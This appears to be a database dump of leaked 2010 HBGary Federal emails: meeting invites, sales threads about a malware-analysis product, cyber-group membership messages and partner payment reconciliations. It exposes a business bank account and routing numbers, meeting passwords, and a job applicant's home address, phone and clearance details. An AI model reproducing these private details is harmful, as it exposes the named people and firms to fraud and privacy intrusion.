enter the meeting password: ddna  4. Click \"Join\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=145538257&UID=0&PW=NMzJjZTU2ZDcw&ORT=MiM0   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=145538257&tollFree=0   Access code:577 436 853   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   ted@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=145538257&UID=0&ICS=MI&LD=1&RD=2&ST=1&SHA2=0qy6gHipV9kt73Up08sixWhTNyDfThh0lplfdT7kmxc=&RT=MiM0   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ',9849,'aaron_hbgary_com/9849.html'),(5475,'2010-04-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003975.M153666P14101Q330.eml','\"Sandoval Jr, Jose (TASC)\" <jose.sandoval@tasc.com>,\"Sandoval Jr, Jose (TASC)\" <jose.sandoval@tasc.com>,,,,,','Re: TMC','Ted Vera invites you to attend this online meeting:\r\n\r\nTopic: TMC with Jose Sandoval\r\nDate: Monday, April 19, 2010\r\nTime: 3:00 pm, Pacific Daylight Time (San Francisco, GMT-07:00)\r\nMeeting Number: 577 436 853\r\nMeeting Password: ddna\r\n\r\n\r\n-------------------------------------------------------\r\nTo join the online meeting (Now from iPhones too!)\r\n-------------------------------------------------------\r\n1. Go to https://hbgary.webex.com/hbgary/j.php?ED=145538257&UID=0&PW=NMzJjZTU2ZDcw&RT=MiM0\r\n2. If requested, enter your name and email address.\r\n3. If a password is required, enter the meeting password: ddna\r\n4. Click \"Join\".\r\n\r\nTo view in other time zones or languages, please click the link:\r\nhttps://hbgary.webex.com/hbgary/j.php?ED=145538257&UID=0&PW=NMzJjZTU2ZDcw&ORT=MiM0\r\n\r\n-------------------------------------------------------\r\nTo join the audio conference only\r\n-------------------------------------------------------\r\nCall-in toll number (US/Canada): 1-408-792-6300\r\nGlobal call-in numbers:\r\nhttps://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=145538257&tollFree=0\r\n\r\nAccess code:577 436 853\r\n\r\n-------------------------------------------------------\r\nFor assistance\r\n-------------------------------------------------------\r\n1. Go to https://hbgary.webex.com/hbgary/mc\r\n2. On the left navigation bar, click \"Support\".\r\n\r\nYou can contact me at:\r\nted@hbgary.com\r\n\r\n\r\nTo add this meeting to your calendar program (for example Microsoft\r\nOutlook), click this link:\r\nhttps://hbgary.webex.com/hbgary/j.php?ED=145538257&UID=0&ICS=MI&LD=1&RD=2&ST=1&SHA2=0qy6gHipV9kt73Up08sixWhTNyDfThh0lplfdT7kmxc=&RT=MiM0\r\n\r\nThe playback of UCF (Universal Communications Format) rich media files\r\nrequires appropriate players. To view this type of rich media files in\r\nthe meeting, please check whether you have the players installed on\r\nyour computer by going to\r\nhttps://hbgary.webex.com/hbgary/systemdiagnosis.php\r\n\r\nOn Tuesday, April 13, 2010, Sandoval Jr, Jose (TASC)\r\n wrote:\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> If you are coming to SA, let me know so we can meet here, maybe dinner or something.  If not, then lets shoot for Monday PM.\r\n>\r\n> Jose\r\n>\r\n>\r\n>\r\n>\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Tue 4/13/2010 4:25 PM\r\n> To: Sandoval Jr, Jose (TASC)\r\n> Cc: Barr Aaron; Powell, Patrick K (TASC); Kamin, Karl V (TASC); Hammack, Jacob P (TASC); Benson, Andrew C (TASC); Trippy, Matthew (TASC)\r\n> Subject: Re: TMC\r\n>\r\n>\r\n>\r\n> Great.  That\'s exactly what we had in mind.  Early next week is best for\r\n> us (ie Monday?).  It looks like we\'ll be on travel Tue - Fri.  We may be\r\n> in San Antonio actually.  I\'ll keep you posted on how that develops...\r\n>\r\n> Ted\r\n>\r\n>\r\n> On 4/13/10 3:16 PM, Sandoval Jr, Jose (TASC) wrote:\r\n>> Next week is a good week for us.  I would like to talk to you in detail and invite my engineering team too.  What works best?  Expect the RFP in mid June now.\r\n>>\r\n>> Thanks.\r\n>>\r\n>> Jose\r\n>>\r\n>>\r\n>> ________________________________\r\n>>\r\n>> From: Ted Vera [mailto:ted@hbgary.com ]\r\n>> Sent: Tue 4/13/2010 4:06 PM\r\n>> To: Sandoval Jr, Jose (TASC); Barr Aaron\r\n>> Subject: TMC\r\n>>\r\n>>\r\n>>\r\n>> Hi Jose,\r\n>>\r\n>> Our automated reverse engineering platform, which we are calling the\r\n>> Threat Management Center (TMC) is in the final phases of product\r\n>> development.  Soon it will be ready to be shrink-wrapped as COTS.  Can\r\n>> we schedule some time with you and one or more of your engineers to\r\n>> discuss your mission, the problem, constraints, environment, etc.  We\r\n>> will be able to discuss our architecture, the required components,\r\n>> static vs dynamic analysis, etc.  I understand that your recompete is\r\n>> quickly approaching.  Do you expect the RFP to drop in May?\r\n>>\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3660,'aaron_hbgary_com/3660.html'),(5476,'2010-04-19','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297003975.M393099P14101Q331.eml','aaron@hbgary.com','ExecutiveBiz 4x24 Cyber group Follow-up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Afternoon Aaron,\r\n\r\nI wanted to circle back with you from our conference call\r\nlast week. &nbsp;I&#8217;m having some trouble with your phone&#8217;s auto attendant;\r\nIt hangs up before I can leave you a message.&nbsp; Give me a call in the morning so\r\nwe can come up to speed.\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16720,'aaron_hbgary_com/16720.html'),(5477,'2010-04-19','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297003975.M649188P14101Q332.eml','aaron@hbgary.com','ExecutiveBiz 4x24 Cyber Group Follow-up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWelcome!&nbsp; Looking forward to having you on board from\r\ninception.&nbsp; Please send me your Bio, Executive Photo and copy of your\r\nbusiness card as soon as you can.&nbsp; Also, email me your business/mailing\r\naddress.\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16389,'aaron_hbgary_com/16389.html'),(5478,'2010-04-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003975.M889219P14101Q333.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 916 641 8915','Sent from my iPadBegin forwarded message:From: Rich Cummings &lt;rich@hbgary.com&gt;\r\nDate: April 19, 2010 9:20:38 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: 916 641 8915Reply-To: rich@hbgary.com\r\nim retarded i thought I sent the $4k amount...\r\nOn Mon, Apr 19, 2010 at 8:12 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Rich,We received the wire you made in the amount of 2,708.90, which leavesa balance of $1000.00 due at your convenience.\r\n\r\nThanks,Ted\r\n\r\n\r\nOn Mon, Apr 5, 2010 at 3:44 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:&gt; Oops, I didn&#39;t read your last email closely..  I can forward the total of\r\n\r\n&gt; $3708.90 tomorrow.  I tried doing it online but can only transfer to my&gt; own accounts online so I have to go in to the branch to wire the funds and&gt; they close at 6PM so it will go out tomorrow.&gt;\r\n\r\n&gt; Rich&gt;&gt; -----Original Message-----&gt; From: Ted Vera [mailto:ted@hbgary.com]&gt; Sent: Monday, April 05, 2010 5:40 PM\r\n&gt; To: rich@hbgary.com\r\n&gt; Subject: Re: 916 641 8915&gt;&gt; Ok. I&#39;ll start hounding you for the 1625 in May, lol...&gt;&gt; Ted&gt;&gt; Sent from my iPad&gt;&gt; On Apr 5, 2010, at 3:38 PM, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n&gt;&gt;&gt; Ill pay the 2083.33.  Thx for checking!&gt;&gt; Sent from my Verizon Wireless BlackBerry&gt;&gt;&gt;&gt; -----Original Message-----&gt;&gt; From: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n&gt;&gt; Date: Mon, 5 Apr 2010 15:37:24&gt;&gt; To: Rich Cummings&lt;rich@hbgary.com&gt;&gt;&gt; Subject: Re: 916 641 8915&gt;&gt;\r\n&gt;&gt; I just verified in the agreement.  2083.33 was technically due when we\r\n&gt;&gt; signed the operating agreement, with $1625.57 due quarterly thereafter&gt;&gt; (the 1st quarterly was due 1 April).  I understand if you&#39;ll need some&gt;&gt; time to send that in... Let me know what you wire so I can reconcile\r\n\r\n&gt;&gt; it properly in quickbooks. Thanks,&gt;&gt; Ted&gt;&gt;&gt;&gt; Sent from my iPad&gt;&gt;&gt;&gt; On Apr 5, 2010, at 3:32 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n&gt;&gt;&gt;&gt;&gt; Thx!&gt;&gt;&gt;&gt;&gt;&gt; -----Original Message-----&gt;&gt;&gt; From: Ted Vera [mailto:ted@hbgary.com]&gt;&gt;&gt; Sent: Monday, April 05, 2010 5:32 PM\r\n\r\n&gt;&gt;&gt; To: Rich Cummings&gt;&gt;&gt; Subject: Re: 916 641 8915&gt;&gt;&gt;&gt;&gt;&gt; $2083.33&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Sent from my iPad&gt;&gt;&gt;&gt;&gt;&gt; On Apr 5, 2010, at 3:09 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n&gt;&gt;&gt;&gt;&gt;&gt;&gt; Ted,&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Please forgive my stupid question but how much do I owe? ;)&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; -----Original Message-----&gt;&gt;&gt;&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n&gt;&gt;&gt;&gt; Sent: Monday, April 05, 2010 4:49 PM&gt;&gt;&gt;&gt; To: Rich Cummings&gt;&gt;&gt;&gt; Subject: Fwd: FW: 916 641 8915&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Rich,&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Thanks for calling me back, the wiring instructions are below. Get an\r\n\r\n&gt;&gt;&gt;&gt; iPad!&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Ted&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; ---------- Forwarded message ----------&gt;&gt;&gt;&gt; From: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;\r\n\r\n&gt;&gt;&gt;&gt; Date: Friday, January 29, 2010&gt;&gt;&gt;&gt; Subject: FW: 916 641 8915&gt;&gt;&gt;&gt; To: Bob Slapnik &lt;bob@hbgary.com&gt;, Rich Cummings &lt;rich@hbgary.com&gt;\r\n\r\n&gt;&gt;&gt;&gt; Cc: ted@hbgary.com&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; For funding HBGary Federal, pleas wire in amount\r\n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; -----Original Message-----\r\n&gt;&gt;&gt;&gt; From: Nadir.T.Malik@wellsfargo.com&gt; [mailto:Nadir.T.Malik@wellsfargo.com]\r\n&gt;&gt;&gt;&gt; Sent: Friday, January 29, 2010 2:23 PM\r\n&gt;&gt;&gt;&gt; To: penny@hbgary.com&gt;&gt;&gt;&gt; Subject: RE: 916 641 8915&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Hi Penny,&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt; The account is open.\r\n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; The acct # is 3803053804&gt;&gt;&gt;&gt; The routing # is 121042882&gt;&gt;&gt;&gt; The wire routing # is 121000248&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Please let me know if you need anything else.\r\n\r\n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; -----Original Message-----&gt;&gt;&gt;&gt; From: Penny Leavy-Hoglund [mailto:penny@hbgary.com]&gt;&gt;&gt;&gt; Sent: Friday, January 29, 2010 12:37 PM\r\n\r\n&gt;&gt;&gt;&gt; To: Malik, Nadir T.&gt;&gt;&gt;&gt; Subject: RE: 916 641 8915&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Sorry about that, it was supposed to be the stamped one.&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; -----Original Message-----\r\n\r\n&gt;&gt;&gt;&gt; From: Nadir.T.Malik@wellsfargo.com&gt; [mailto:Nadir.T.Malik@wellsfargo.com]\r\n&gt;&gt;&gt;&gt; Sent: Friday, January 29, 2010 12:24 PM\r\n&gt;&gt;&gt;&gt; To: penny@hbgary.com&gt;&gt;&gt;&gt; Subject: FW: 916 641 8915&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Here&#39;s the doc that I&#39;m looking for. The upper right hand side should\r\n\r\n&gt; be&gt;&gt;&gt;&gt; stamped by the Secretary of State.&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; -----Original Message-----&gt;&gt;&gt;&gt; From: Pinelli, Phil A.&gt;&gt;&gt;&gt; Sent: Friday, January 29, 2010 12:23 PM\r\n\r\n&gt;&gt;&gt;&gt; To: Malik, Nadir T.&gt;&gt;&gt;&gt; Subject: FW: 916 641 8915&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Phil Pinelli&gt;&gt;&gt;&gt; Business Deposit Consultant\r\n\r\n&gt;&gt;&gt;&gt; Wells Fargo Business Banking&gt;&gt;&gt;&gt; 1 Park Center Drive, 2nd Floor&gt;&gt;&gt;&gt; Sacramento, CA  95825&gt;&gt;&gt;&gt; 916- 804-4433   Cell&gt;&gt;&gt;&gt; 1-866-613-7738 Fax\r\n\r\n&gt;&gt;&gt;&gt; MAC A0703-022&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; This message may contain confidential and/or privileged information.&gt; If&gt;&gt;&gt;&gt; you&gt;&gt;&gt;&gt; are not the addressee or authorized to receive this for the addressee,\r\n\r\n&gt;&gt;&gt; you&gt;&gt;&gt;&gt; must not use, copy, disclose, or take any action based on this message&gt;&gt;&gt; or&gt;&gt;&gt;&gt; any information herein. If you have received this message in error,&gt;&gt;&gt; please\r\n\r\n&gt;&gt;&gt;&gt; advise the sender immediately by reply e-mail and delete this message.&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; -----Original Message-----&gt;&gt;&gt;&gt; From: Wells Fargo Enterprise Fax [mailto:EnterpriseFax@wellsfargo.com]\r\n\r\n&gt;&gt;&gt;&gt; Sent: Friday, January 29, 2010 12:21 PM&gt;&gt;&gt;&gt; To: Pinelli, Phil A.&gt;&gt;&gt;&gt; Subject: FAX: 916 641 8915&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;\r\n\r\n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;                -------Fax Reception Report-------&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Received Time:    01/29/2010 14:20&gt;&gt;&gt;&gt; Result:           OK&gt;&gt;&gt;&gt; Description:      All pages received OK\r\n\r\n&gt;&gt;&gt;&gt; Result Code:      0000&gt;&gt;&gt;&gt; Pages Received:   1&gt;&gt;&gt;&gt; Remote TSI:       916 641 8915&gt;&gt;&gt;&gt; Connect Time:     0 minutes, 21 seconds&gt;&gt;&gt;&gt; Routing ID:       8666137738\r\n\r\n&gt;&gt;&gt;&gt; Caller ID:        9166418915&gt;&gt;&gt;&gt; Unique ID:        MSGWXPXAZTEM04_1001292021262839&gt;&gt;&gt;&gt; Fax Line:         57&gt;&gt;&gt;&gt; Fax Server:       msgwxpxaztem04&gt;&gt;&gt;&gt;\r\n\r\n&gt;&gt;&gt;&gt; The fax is included as a PDF image attachment&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; --&gt;&gt;&gt;&gt; Ted H. Vera\r\n\r\n&gt;&gt;&gt;&gt; President | COO&gt;&gt;&gt;&gt; HBGary Federal&gt;&gt;&gt;&gt; 719-237-8623&gt;--\r\n\r\n\r\nTed H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',7599,'aaron_hbgary_com/7599.html'),(5479,'2010-04-19','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297003976.M419868P14101Q334.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: TMC with Jose @ Mon Apr 19 6pm - 7pm (aaron@hbgary.com)',' more details &raquo;TMC with JoseDiscuss automated malware REWhenMon Apr 19 6pm – 7pm Eastern TimeWhereTelephonic (map)Calendaraaron@hbgary.comWho&#x2022;Ted Vera - organizer&#x2022;aaron@hbgary.com&#x2022;Jose.Sandoval@TASC.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',3514,'aaron_hbgary_com/3514.html'),(5480,'2010-04-19','\"Jennifer Jordan - Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297003976.M661403P14101Q335.eml','bill.varner@mantech.com,bill.varner@mantech.com,','New 4x24 Cyber Group Member','Good Evening Bill,\r\nI would like to re-introduce you to Aaron Barr of HBGary Federal.  Aaron is excited to join us and looking forward to working with you and the other Cyber Group members.\r\n\r\nContact info:\r\nAaron Barr, CEO HBGary Federal\r\n301.652-8885\r\naaron@hbgary.com\r\n\r\n\r\nBill Varner, President - Mission, Cyber & Technology Solutions Group Mantech Int’l\r\n(703) 475-7909\r\nbill.varner@mantech.com\r\n\r\n\r\nSincerely,\r\n\r\nJennifer Jordan-Harrell\r\nGroup Manager\r\n\r\nExecutiveBiz\r\n703-226-7016\r\njennifer@executivebiz.com\r\n\r\n\r\n',12679,'aaron_hbgary_com/12679.html'),(5481,'2010-04-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003976.M956685P14101Q336.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#eac8smgtqffcm4tz','Begin forwarded message:From: &lt;RJFord29@gmail.com&gt;\r\nDate: April 19, 2010 5:15:26 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #eac8smgtqffcm4tz\r\nReply-To: &lt;RJFord29@gmail.com&gt;\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRachel Ford \r\n\r\n  03038\r\nUS\r\nRJFord29@gmail.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n													Download Job Seeker&#39;s Word® Resume\r\n\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\neac8smgtqffcm4tz   Resume Headline: RJFord&#39;s Intel. Resume  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n \r\nRachel J. Ford\r\n1 Aiken Street, Apt. 2\r\n\r\nDerry, New Hampshire 03038\r\n(978)273-0166RJFord29@gmail.com\r\n \r\n\r\n OBJECTIVE:  To obtain a position wherein my cryptologic and analytic abilities, problem solving skills, and project developing techniques can be utilized towards an organization’s growth.\r\n \r\n\r\nHIGHLIGHTS OF QUALIFICATIONS:       Government TOP SECRET/SCI              Clearance\r\n     Single Scope Background Investigation completed\r\n     Background in Signals Intelligence (SIGINT)\r\n\r\n     Five years in the United Stated Navy performing Arabic translation, intelligence collection and \r\n          Intelligence analysis (IA)     Working knowledge of various Microsoft Office Applications, CHRYSALIS, HYBRID, and\r\n          OILSTOCK processing systems\r\n\r\n EXPERIENCE:\r\nVoice/Graphic Language Analyst\r\n     Designated by the U.S. Navy and National Security Agency as Subject Matter Expert (SME)\r\n\r\n     Transcribed and translated over a large number of audio materials, contributing technical expertise in the\r\n          Drafting and release of a high volume of time sensitive reports and numerous in-depth product \r\n          Reports. \r\nCryptologic Linguist\r\n     Managed off-site intelligence gathering technology for collection of high priority targets and searched \r\n          For new activity.\r\n     Operated conventional and national collection systems to exploit targets of interest.\r\n\r\n     Maintained and updated database records used by multiple intelligence organizations. \r\nCollection Supervisor\r\n     As a junior supervisor, managed 15 junior linguists in collection, processing, and reporting\r\n\r\n          Intelligence, ensuring critical support to U.S. and allied forces worldwide.     Provided quality control oversight on foreign language translations, transcriptions and analysis.\r\n     Obtained 100% certification rate of trainees.\r\n     Developed daily agendas and employee schedules to meet rapidly changing operational\r\n\r\n          Environments (GRSOC) needs.\r\n WORK HISTORY:\r\n     Sept. 2003- Oct. 2009                            Veterinary Technician\r\n                               Methuen Veterinary Hospital\r\n     May  2003- Aug.2003                            Accounts Payable                                             First Allied Corporation\r\n\r\n     Nov. 2002- Apr. 2003                            Veterinary Technician                               Augusta West Vet. Clinic\r\n     Aug. 1996- Sept.2002              \r\n              Cryptologic Technician Interpreter     U.S. Navy\r\n     EDUCATION:\r\n     B.S. Degree, Public Administration - Brenau University, Gainesville, GA  Aug 2002\r\n\r\n     A.S. Degree, Liberal Arts - Monroe Community College, Rochester, NY  Aug 1996     Graduated, Middle East Cryptologic Linguist Specialist Course - Goodfellow Air Force Base,\r\n          TX  Dec 1998\r\n     Graduated, Arabic Basic Course - Defense Language Institute, Monterey, CA  June 1998\r\n\r\n          \r\n      \r\n\r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUS-NH-Southern\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n* You may download a Word document of this resume from the Software Application Developer, Windows Platform folder. View Resume\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',147,'aaron_hbgary_com/147.html'),(5482,'2010-04-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003977.M215013P14101Q337.eml','\"Bob Slapnik\" <bob@hbgary.com>,aaron@hbgary.com','Northrup Grumman IT','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe person we need to get to over at NG is Georgia Hall.&nbsp;\r\nAaron do you know her or can we get an intro to her?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4877,'aaron_hbgary_com/4877.html'),(5483,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003977.M622522P14101Q338.eml','aaron@hbgary.com','Alarm - TMC with Jose','April 19, 2010 6:00 PM : TMC with JoseDiscuss automated malware RE ',3277,'aaron_hbgary_com/3277.html'),(5484,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003977.M862267P14101Q339.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Northrup Grumman IT','I do but why would you say Georgia Hall? &nbsp;Mark Leary runs the Information Assurance group and is the lead decision maker on most of the new security products that are implemented in the NG network. &nbsp;Georgia used to run the tier1 folks, but I don\'t think she does any more. &nbsp;They all work for Tim McKnight who is the CISO.I know all three of them, but I know Tim and Mark best.Chris Barnett worked for Mark when he was at NG Bob.Let me know if I can help.AaronOn Apr 19, 2010, at 8:08 PM, Penny Leavy-Hoglund wrote:The person we need to get to over at NG is Georgia Hall.&nbsp; Aaron do you know her or can we get an intro to her?&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',573,'aaron_hbgary_com/573.html'),(5485,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003978.M308267P14101Q341.eml','\"Penny Leavy\" <penny@hbgary.com>','Opportunity','Hey Penny,\r\n\r\nRemember I told you about the ExecutiveBiz cyber group I was invited to join.  There are 20-24 members per specialty area invited to join (they have many groups, financial, foreign policy, etc).  The cost is $7300 a year.  They meet twice a month and have 4 dinners.  The members are most of the cyber owners amongst the large companies (Cisco, IBM, NG, CSC, SAIC, etc).  We are the only small company that has been asked to join.  Most of the members I either know or know of them.  The group will meet to discuss and develop position papers on different topics of cybersecurity.  Each of the members and their companies will be featured in their online and print websites, blogs, and magazines, as well as the papers they develop.\r\n\r\nI am requesting that we split the cost with HBGary for the cost of the membership.\r\n\r\nWhat do you think?  The opportunity is too good to pass up so we will figure out the costs somehow, but thought since I will be representing both HBGary Fed and HBGary 